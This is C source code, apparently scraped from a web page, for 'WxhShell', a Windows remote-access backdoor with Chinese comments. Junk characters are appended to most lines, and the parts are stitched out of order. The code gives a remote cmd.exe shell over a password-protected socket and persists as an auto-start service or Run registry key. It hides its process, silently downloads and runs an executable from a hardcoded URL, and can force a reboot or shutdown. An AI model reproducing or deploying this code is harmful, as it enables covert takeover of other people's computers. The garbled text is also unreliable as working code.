    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'MUv5 Th  
    if(Boot(SHUTDOWN)) 4ew" %Cs*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N~goI#4  
    else { s E2D#D  
    closesocket(wsh); 8 D3OOab  
    ExitThread(0); mS$j?>m  
    } tl,.fjZn  
    break; =[cS0Sy  
    } (|:M&Cna]  
  // 获取shell vNV/eB8#S  
  case 's': { c[wla<dO*  
    CmdShell(wsh); a eFe!`F  
    closesocket(wsh); 6}[I2F_^  
    ExitThread(0); :cem,#(=  
    break; cu7hBf j  
  } AN8`7F1  
  // 退出 |:nOp(A\*  
  case 'x': { m? J0i>H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4o <Uy  
    CloseIt(wsh); u~7hWiY<2  
    break; H]{v;;'~  
    } I7|Pi[e  
  // 离开 ~?4PBq  
  case 'q': { ZkRx1S"m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rzhWw-GY  
    closesocket(wsh); J%v=yBC2  
    WSACleanup(); +%T\`6  
    exit(1);  Ch&a/S}  
    break; ]'!f28Ng-  
        } 0%&1\rm+j  
  } @5=oeOg36  
  } y~ AVei&  
VRWAm>u  
  // 提示信息 fHE <(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *}F3M\  
} b~KDP+Ri  
  } \HxT@UQ)~  
]qethaNy  
  return; [,t*Pfq'W8  
} gPNZF\ r  
(6?9BlH~  
// shell模块句柄 q>_/u"  
int CmdShell(SOCKET sock) R} eN@#"D  
{ kO.%9wFbz  
STARTUPINFO si; =x%dNf$e{W  
ZeroMemory(&si,sizeof(si)); 2h|MXI\g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b#uL?f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @| M|+k3  
PROCESS_INFORMATION ProcessInfo; rq8K_zp  
char cmdline[]="cmd"; <Swt);  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q i,j+xBp  
  return 0; [w>$QR  
} 1-%fo~!l  
a,@]8r-"  
// 自身启动模式 >:AARx%  
int StartFromService(void) XX7{-Y y  
{ {@H6HqD  
typedef struct 0Is,*Srr  
{ 2#KJ asX  
  DWORD ExitStatus; dsb`xw  
  DWORD PebBaseAddress; Q3n,)M[N  
  DWORD AffinityMask; q-[@$9AS  
  DWORD BasePriority; .Xfq^'I[  
  ULONG UniqueProcessId; f/ ?_  
  ULONG InheritedFromUniqueProcessId; 9_q#W'/X  
}   PROCESS_BASIC_INFORMATION; (Mo*^pVr  
K SbKEA  
PROCNTQSIP NtQueryInformationProcess; ^1S!F-H4\  
PlU*X8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IpINH3odT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %q/62f7?  
V/%>4GYnC  
  HANDLE             hProcess; oibsh(J3  
  PROCESS_BASIC_INFORMATION pbi; ,0~^>K  
G"-?&)M#a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (7mAt3n k  
  if(NULL == hInst ) return 0; (|[2J3ZET  
@oNH@a j%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <6EeD5{*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iQ tN Aj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6CV* Z\b  
|jQ:~2U|   
  if (!NtQueryInformationProcess) return 0; =}lh_  
3AHlSX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G! ]k#.^A,  
  if(!hProcess) return 0; K#%&0D!  
<Y*+|T+&d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :=}US}H$  
`>gd&u  
  CloseHandle(hProcess); K$&s=Hm  
~xA-V4.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o9|nJ;  
if(hProcess==NULL) return 0; wF IegC(  
q$ZHd  
HMODULE hMod; G3+.H  
char procName[255]; "9m2/D`=  
unsigned long cbNeeded; ^WHE$4U`  
o>).Cj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @E;=*9ek{u  
4iqoR$3Fc  
  CloseHandle(hProcess); LIS)(X<]?  
9%8"e>~  
if(strstr(procName,"services")) return 1; // 以服务启动 *EOdEFsR/  
na#CpS;pc  
  return 0; // 注册表启动 qIVx9jNN  
} -l`f)0{  
"oTHq]Ku  
// 主模块 vL|SY_:4  
int StartWxhshell(LPSTR lpCmdLine) Keuf9u  
{ di?K"Z>  
  SOCKET wsl; G^~k)6v=m  
BOOL val=TRUE; B:dB,3,`(  
  int port=0; D2<fw#  
  struct sockaddr_in door; ^"VJd[Hn  
W}3.E "K  
  if(wscfg.ws_autoins) Install(); /,89p&h  
1%EBd%`#  
port=atoi(lpCmdLine); $&y%=-]|  
T?:Rdo!:u  
if(port<=0) port=wscfg.ws_port; u5O+1sZ"6  
$LKIT0  
  WSADATA data; }O/U;4Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $Wjww-mx  
W}--p fG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qmnZAk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !2 LCLN\  
  door.sin_family = AF_INET; NMW#AZVd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jq-p;-i  
  door.sin_port = htons(port); DQNnNsP:M-  
3 *d"B tg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &%8'8,.  
closesocket(wsl); ^$%S &W  
return 1; M9Cv wMi  
} ZW-yP2  
`NnUyQ;T  
  if(listen(wsl,2) == INVALID_SOCKET) { :j5n7s?&=y  
closesocket(wsl); o 4`hY/<t  
return 1; 0)%YNaskj  
} @Py/K /  
  Wxhshell(wsl); Ager$uC  
  WSACleanup(); E4gYemuN  
g'p K  
return 0; +1Vjw'P  
CAWA3fcQp  
} 6BY-^"W5`  
nA?`BOe(  
// 以NT服务方式启动 hhSy0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XUM!Qv  
{ VcAue!MN  
DWORD   status = 0; *YW/_  
  DWORD   specificError = 0xfffffff; stG~AC  
8;z6=.4xtg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IYqBQnX}oM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZtV9&rd7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]Oh@,V8  
  serviceStatus.dwWin32ExitCode     = 0; <p}R~zk  
  serviceStatus.dwServiceSpecificExitCode = 0; aHs^tPg  
  serviceStatus.dwCheckPoint       = 0; 6,"IDH|ND  
  serviceStatus.dwWaitHint       = 0; =CK4.   
5j:0Yt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4,..kSA3iw  
  if (hServiceStatusHandle==0) return; ~u)}ScTp  
]p*l%(dhY  
status = GetLastError(); V\6=ySx  
  if (status!=NO_ERROR) T#M,~lD  
{ kv8Fko  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DamC F  
    serviceStatus.dwCheckPoint       = 0; r^h4z`:L  
    serviceStatus.dwWaitHint       = 0; x N=i]~  
    serviceStatus.dwWin32ExitCode     = status; m*ISa(#(,  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]P#XVDn+;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H70LhN  
    return; 8j Mk)-  
  } H]Cy=Zi"  
@L>q (Kg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &/mA7Vf>eR  
  serviceStatus.dwCheckPoint       = 0; nS/)P4z  
  serviceStatus.dwWaitHint       = 0; d1T,eJ}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x HoKo  
} gfX\CSGy  
[!!o-9b  
// 处理NT服务事件,比如:启动、停止 if}-_E<F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wkP#Z"A0~  
{ (2$( ?-M  
switch(fdwControl) I{ HN67O  
{ aki _RG>U'  
case SERVICE_CONTROL_STOP: HKF H/eV  
  serviceStatus.dwWin32ExitCode = 0; (]b!{kS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =fu :@+  
  serviceStatus.dwCheckPoint   = 0; w<zIAQN  
  serviceStatus.dwWaitHint     = 0; Ks=>K(V6  
  { h lkn%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =NOH:#iQ  
  } [OHxonU  
  return; |\QgX%  
case SERVICE_CONTROL_PAUSE: T~QWRBO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9!T[Z/}T  
  break; *j]9vktH  
case SERVICE_CONTROL_CONTINUE: X'%E\/~u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M9EfU  
  break; Lk~ho?^`  
case SERVICE_CONTROL_INTERROGATE: OTC!wI g  
  break; pF&(7u  
}; pcau}5 .  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !g Z67  
} thV>j9'  
;w:M`#2  
// 标准应用程序主函数 Sczc5FG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UQ'\7OS  
{ ~3WM5 fv  
8dV=[+  
// 获取操作系统版本 /<E5"Mm%  
OsIsNt=GetOsVer(); EPS={w$'s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W.z;B<  
lCAIK  
  // 从命令行安装 yMyE s8  
  if(strpbrk(lpCmdLine,"iI")) Install(); %{YN70/  
;w'D4p= P  
  // 下载执行文件 ` jzTmt  
if(wscfg.ws_downexe) { MxWy*|J}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bSsh^Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); *\=.<|HZ  
} ?dD&p8{  
h]og*(  
if(!OsIsNt) { 4$qWiG~  
// 如果时win9x,隐藏进程并且设置为注册表启动 s >e=?W  
HideProc(); Wi[~fI8^!  
StartWxhshell(lpCmdLine); "J+3w  
} ~2<7ZtV=  
else '6Ay&A3N]  
  if(StartFromService()) CF+_/s#j^  
  // 以服务方式启动 350_CN,  
  StartServiceCtrlDispatcher(DispatchTable); u`y><w4i  
else T6H}/#*tK  
  // 普通方式启动 U Z.=aQ}M  
  StartWxhshell(lpCmdLine); 8CnRi  
an4GSL  
return 0; T?:glp[4I  
} ZN! 4;  
_u{c4U0,  
!O-C,uSm  
j{Hao\F8  
=========================================== oo.!.Kv  
_cy2z  
,Vh.T&X5  
A]YV s  
\]P!.}nX#  
_Dym{!t  
" A$#p%y b  
`9)t[7  
#include <stdio.h> Z-E`>  
#include <string.h> *GxTX3i}vc  
#include <windows.h> 'a$Gv&fu  
#include <winsock2.h> hGd<<\  
#include <winsvc.h> @) s,{F  
#include <urlmon.h> F;=4vS]\  
"`M?R;DH  
#pragma comment (lib, "Ws2_32.lib") >tO`r.5u9  
#pragma comment (lib, "urlmon.lib") nA P.^_K  
t]$P1*I  
#define MAX_USER   100 // 最大客户端连接数 PH?#)l D  
#define BUF_SOCK   200 // sock buffer Sp7ld7c  
#define KEY_BUFF   255 // 输入 buffer +<xQM h8  
}Z{=|rVE  
#define REBOOT     0   // 重启 Ggl~nxz  
#define SHUTDOWN   1   // 关机 BZud) l24  
Y2d;E.DH8  
#define DEF_PORT   5000 // 监听端口 .q[SI$qO/  
\2ZPj)&-E  
#define REG_LEN     16   // 注册表键长度 %CS@g.H=_  
#define SVC_LEN     80   // NT服务名长度 bHg,1y)UC  
8>X d2X  
// 从dll定义API dDm):Z*`b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )\6&12rj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X5X?&* %{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OH5>vV 'i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T/^Hz4uA7  
Jrg2/ee,*  
// wxhshell配置信息 )dY=0"4Z  
struct WSCFG { w" SoeU  
  int ws_port;         // 监听端口 YyTSyP4  
  char ws_passstr[REG_LEN]; // 口令 e =4+$d  
  int ws_autoins;       // 安装标记, 1=yes 0=no BT)X8>ct  
  char ws_regname[REG_LEN]; // 注册表键名 D[_|*9BC  
  char ws_svcname[REG_LEN]; // 服务名 -8r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~><^'j[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T:/,2.l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :4MB]v[K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A,%C,*)Cg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ga#:P F0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /e]'u&a  
F>]m3(  
}; N@Y ljz|  
)RO<o O  
// default Wxhshell configuration ~4s'0 w^  
struct WSCFG wscfg={DEF_PORT, KN t t  
    "xuhuanlingzhe", cx}Q2S  
    1, $/=nU*pd  
    "Wxhshell", L=q+|j1>  
    "Wxhshell", p98~&\QT  
            "WxhShell Service", $BFvF ,n  
    "Wrsky Windows CmdShell Service", ?t+5s]  
    "Please Input Your Password: ", %]I ZLJ  
  1, X{we/'>  
  "http://www.wrsky.com/wxhshell.exe", 6B@CurgB  
  "Wxhshell.exe" YO}1(m  
    }; wjh=Q  
_)]+hUw Y  
// 消息定义模块 SB5&A_tr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tID%}Zv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; abJ" [  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Qb)C[5a}  
char *msg_ws_ext="\n\rExit."; ]d a^xWK  
char *msg_ws_end="\n\rQuit."; INkD=tX  
char *msg_ws_boot="\n\rReboot..."; wE@'ap#  
char *msg_ws_poff="\n\rShutdown..."; )(tM/r4`c&  
char *msg_ws_down="\n\rSave to "; '=1KVE^Fk  
[@Q_(LQ-U  
char *msg_ws_err="\n\rErr!"; - /(s#D  
char *msg_ws_ok="\n\rOK!"; Ya;9]k8,  
6I!7c^]t  
char ExeFile[MAX_PATH]; -K rxMi  
int nUser = 0; [Z~ 2  
HANDLE handles[MAX_USER]; ithewup  
int OsIsNt; LwhyE:1  
/F4pb]U!*  
SERVICE_STATUS       serviceStatus; 81hbk((  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .\8X[%K9nc  
y_HN6  
// 函数声明 =xNv\e  
int Install(void); /Nr*`l  
int Uninstall(void); hgLj<  
int DownloadFile(char *sURL, SOCKET wsh); 0TmR/uUT  
int Boot(int flag); "Ae@lINn[y  
void HideProc(void);  1~l I8  
int GetOsVer(void); ^-rfvc  
int Wxhshell(SOCKET wsl); qwK2WE%T  
void TalkWithClient(void *cs); MY/3] g<  
int CmdShell(SOCKET sock); Zum0J{l h  
int StartFromService(void); c-g)eV|)S  
int StartWxhshell(LPSTR lpCmdLine); @FC"nM  
RPIyO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,SQZD,3v4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YKbaf(K )9  
P%#*-zCCx  
// 数据结构和表定义 Vpr/  
SERVICE_TABLE_ENTRY DispatchTable[] = z81esXl  
{ fx@j?*Qb  
{wscfg.ws_svcname, NTServiceMain}, +8v9flh  
{NULL, NULL} = <j"M85.  
}; N gLU$/y;  
_=q! BW  
// 自我安装 wtT}V=_  
int Install(void) &z]K\-xp  
{ lip[n;Ir>  
  char svExeFile[MAX_PATH]; 8[|UgI,>z  
  HKEY key; 4n %?YQ[t  
  strcpy(svExeFile,ExeFile); Z0`T\ay  
;L|uIg;.s  
// 如果是win9x系统,修改注册表设为自启动 } g3+{\x8  
if(!OsIsNt) { 01T`Flz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M;0]u.D*=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fZxIY,  
  RegCloseKey(key); n.sbr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fM #7y [  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +3a?` Z  
  RegCloseKey(key); PG8^.)]M  
  return 0; M\Gdn92pd  
    } k{VE1@  
  } ?6nF~9Z'  
} y$3;$ R^  
else { $5v0m#[^  
dJv!Dts')C  
// 如果是NT以上系统,安装为系统服务 'S2bp4G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K"u NxZ  
if (schSCManager!=0) ->h6j  
{ ? tfT8$  
  SC_HANDLE schService = CreateService 1Nu1BLPm  
  ( uZZU{U9h  
  schSCManager, 7},)]da>,'  
  wscfg.ws_svcname, w=|GJ 0  
  wscfg.ws_svcdisp, *=fr8  
  SERVICE_ALL_ACCESS, 2DB7+aZ*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :5/Uh/sX  
  SERVICE_AUTO_START, 2o#,kGd  
  SERVICE_ERROR_NORMAL, 4O:W#bx  
  svExeFile, <$N"q  
  NULL, uNn[[LS  
  NULL, :K ~  
  NULL, H33i*][H  
  NULL, Ne $"g[uFU  
  NULL ?=VOD#)  
  ); p~.8\bI=  
  if (schService!=0) hoT/KWD,  
  { .))v0   
  CloseServiceHandle(schService); +525{Tj  
  CloseServiceHandle(schSCManager); @Kf_z5tm:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hLDA]s  
  strcat(svExeFile,wscfg.ws_svcname); XyMG.r-,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t8+_/BXv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k<RZKwQc  
  RegCloseKey(key); H'MJ{r0,  
  return 0; MG /,==  
    } tTN?r 8  
  } 'TTUN=y  
  CloseServiceHandle(schSCManager); ~2d:Q6  
} Mc-)OtmG[  
} m=Q[\.Ra  
<*t4D-os  
return 1; U!XS;a)  
} A:y.s;<L 0  
c}[+h5  
// 自我卸载 5/gDK+%4D(  
int Uninstall(void) dq IlD!  
{ eZr&x~] -w  
  HKEY key; =<@\,xN>C  
UZEI:k,dv  
if(!OsIsNt) { x f4{r+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =pA IvU  
  RegDeleteValue(key,wscfg.ws_regname); ^E6d`2w-  
  RegCloseKey(key); 'a^{=+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pG^}Xf2a  
  RegDeleteValue(key,wscfg.ws_regname); >K# ,cxY  
  RegCloseKey(key); =`Y.=RL+'n  
  return 0; Y~)T  
  } \@}#Gez  
} ri1C-TJM)  
} q8:{Nk  
else { tRw@U4=y  
X%bFN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); - O"i3>C  
if (schSCManager!=0) yAL1O94  
{ ]NhS=3*i+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aS|wpm)K>8  
  if (schService!=0) * MM[u75  
  { }X;U|]d  
  if(DeleteService(schService)!=0) { qn"D#K'&(  
  CloseServiceHandle(schService); `o79g"kxe  
  CloseServiceHandle(schSCManager); [!^-J}^g~\  
  return 0; V@d )?T  
  } PuxK?bwC  
  CloseServiceHandle(schService); k>E`s<3  
  } |3K)$.6~  
  CloseServiceHandle(schSCManager); .$", *d  
} x'Pi5NRE  
} JaWv]@9*  
hJ5z/5aE;  
return 1; 3`HnLD/  
} w(1Gi$Z(Q)  
p.fF}B  
// 从指定url下载文件 ED$DSz)x  
int DownloadFile(char *sURL, SOCKET wsh) BIf^~jAER%  
{ ?zq+jLyo  
  HRESULT hr; PN$ .X"D8  
char seps[]= "/"; m}$+Hdk+7  
char *token; BpO9As 1um  
char *file; ZyR_6n>L$  
char myURL[MAX_PATH]; z"DkFvA  
char myFILE[MAX_PATH]; A>NsKWf{  
X E}H3/2  
strcpy(myURL,sURL); %o?IsIys  
  token=strtok(myURL,seps); Pw@olG'Ah  
  while(token!=NULL) 5&CDHc7Oj  
  { rZ_>`}O2  
    file=token;  Voh hQ  
  token=strtok(NULL,seps); 5)zn:$cz  
  } (1pEEq84  
-{|`H[nmD  
GetCurrentDirectory(MAX_PATH,myFILE); )[&_scSa  
strcat(myFILE, "\\"); @\(vX]  
strcat(myFILE, file); ?IX!+>.H  
  send(wsh,myFILE,strlen(myFILE),0); OlxX.wP  
send(wsh,"...",3,0); Q\{x)|{$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &"uV~AM  
  if(hr==S_OK) w W$(r-  
return 0; ovf/;Q/}  
else WW@"Z}?k  
return 1; &jV_"_3n  
~9D~7UR  
} ^_p%Yv  
d0 er^ ~  
// 系统电源模块 %up}p/?  
int Boot(int flag) ;52'}%5  
{ Jf:,y~mV  
  HANDLE hToken; +rNkN:/L  
  TOKEN_PRIVILEGES tkp; TrE3S'EU#R  
Jx-wO/  
  if(OsIsNt) { W VkR56  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iO!6}yJ*V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ++[5q+b  
    tkp.PrivilegeCount = 1; d]0a%Xh[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W( *V2<$o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Em13dem  
if(flag==REBOOT) { N~=A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [A~G-  
  return 0; icUT<@0  
} PfW|77  
else { $%c{06Oq(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,<ya@Fi{  
  return 0; h. hjz?  
} H D/5!d  
  } FQeYx-7  
  else { XOb}<y)r~  
if(flag==REBOOT) { H!IDV }dn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %4>x!{jwV  
  return 0; ~hN~>0O  
} c"gsB!xh  
else { 00vBpsZj2;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b_$ 1f >  
  return 0; qFR dg V>8  
} 96|[}:+$&:  
} ,ul5,ygA  
 5K56!*Y  
return 1; HV]Ze>}  
} O ++/ry%k  
N=,j}FY  
// win9x进程隐藏模块 es.CLkuD7Y  
void HideProc(void) Mpx/S<Z  
{ z YDK $  
4\ $3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T|'&K:[TJ  
  if ( hKernel != NULL ) l\q} |o  
  { )c tr"&-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >w'$1tc?+F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %l9$a`&  
    FreeLibrary(hKernel);  7 Yv!N  
  } mv Ov<x;l  
sy<iKCM\  
return; ahIE;Y\j'  
} mVH,HqsXa  
H:oQ  
// 获取操作系统版本 XQ;I,\m  
int GetOsVer(void) ['Z{@9  
{ Sgj/s~j~1  
  OSVERSIONINFO winfo; )r!e2zc=Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }Zl"9A#K  
  GetVersionEx(&winfo); ;[5r7 jHU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k 'zat3#f  
  return 1; ,-#GX{!  
  else `<vxG4=62\  
  return 0; we]>(|  
} o42`z>~  
Pern*x9$  
// 客户端句柄模块 {sc[RRN~C  
int Wxhshell(SOCKET wsl) a1x7~)z>zi  
{ Z[IM<S9lz  
  SOCKET wsh; e6P[c=m #  
  struct sockaddr_in client; Rl@$xP  
  DWORD myID; l)@:T|)c  
lmFA&s"m  
  while(nUser<MAX_USER) F1u)i  
{ #\FT EY!  
  int nSize=sizeof(client); Q-('5a19J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :1<~}*B@{  
  if(wsh==INVALID_SOCKET) return 1; M9"Sgb`g  
3VP$x@AV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J|j;g!fK  
if(handles[nUser]==0) jXcNAl  
  closesocket(wsh); B?(4f2yE  
else oX|?:MS:  
  nUser++; QrS$P09=\  
  } __)qw#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nm):SEkC  
! zfFt;  
  return 0; 5#uO'<2$  
} mTjm92  
b(T@~P/  
// 关闭 socket  X4I]9 t\  
void CloseIt(SOCKET wsh) xXOw:A'  
{ s-6:N9-  
closesocket(wsh); jH0Bo;  
nUser--; {8m1dEC^@Q  
ExitThread(0); _Y#Bm/*  
} {%7<"  
~I$}#  
// 客户端请求句柄 =R9*;6?N  
void TalkWithClient(void *cs) 8-A|C< "  
{ SfDQ;1?  
VK4/82@5  
  SOCKET wsh=(SOCKET)cs; B)a@fmp"a  
  char pwd[SVC_LEN]; NV~vuC  
  char cmd[KEY_BUFF]; Zz")`hUG  
char chr[1]; tp+=0k2i  
int i,j; <IH*\q:7  
22vq=RO7Z  
  while (nUser < MAX_USER) { a|.20w5  
l\aUresm  
if(wscfg.ws_passstr) { dpn3 (  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .eTk=i[N-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); okDJ(AIV+  
  //ZeroMemory(pwd,KEY_BUFF); wP`sXPSmIu  
      i=0; 41 'EA \V  
  while(i<SVC_LEN) { ,9vJtP+T+!  
)*HjRTF6G  
  // 设置超时 3ZN>9`  
  fd_set FdRead; hho%~^bn(  
  struct timeval TimeOut; jZ#UUnR%  
  FD_ZERO(&FdRead); (6-y+ LG  
  FD_SET(wsh,&FdRead); Lh!z>IWjOG  
  TimeOut.tv_sec=8; ,aO@.<"  
  TimeOut.tv_usec=0; y< ud('D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); msG3 ~@q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j 0?>w{e  
GC?S];PL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bX&e_Pd  
  pwd=chr[0]; lPp6 pVr  
  if(chr[0]==0xd || chr[0]==0xa) { f !!P  
  pwd=0; ^2JPyyZa  
  break; #S *pD?VZ  
  } d5' )6  
  i++; AA.Ys89V  
    } x\]z j!  
SJ[AiHR  
  // 如果是非法用户,关闭 socket j!CU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qZ?{-Vw  
} TK %< a/  
%^U"Spv;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "uS7PplyO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EqQ3=XMUL@  
xXPUrv5zO  
while(1) { "cQvd(kug  
v,*Q]r0m  
  ZeroMemory(cmd,KEY_BUFF); D+hB[*7Fs  
19w_tSg  
      // 自动支持客户端 telnet标准   c.-cpFk^L&  
  j=0; N*':U^/t4J  
  while(j<KEY_BUFF) { <vLdBfw&N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _f66>a<  
  cmd[j]=chr[0]; a+'}XEhSC:  
  if(chr[0]==0xa || chr[0]==0xd) { R( GmU4  
  cmd[j]=0; O&=KlnI:  
  break; FdM<;}6T  
  } j`hNZ%a  
  j++; ? KF=W  
    } ;,v.(Z ic  
^f6 {0  
  // 下载文件 H.9yT\f.  
  if(strstr(cmd,"http://")) { }M?|,N6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {YBl:rMz  
  if(DownloadFile(cmd,wsh)) 'DeW<Sa~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a>?p.!BM  
  else LhZZc`|7t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )5'rw<:="  
  } 9D%qXU  
  else { u(8~4P0w  
F6DxvyANr  
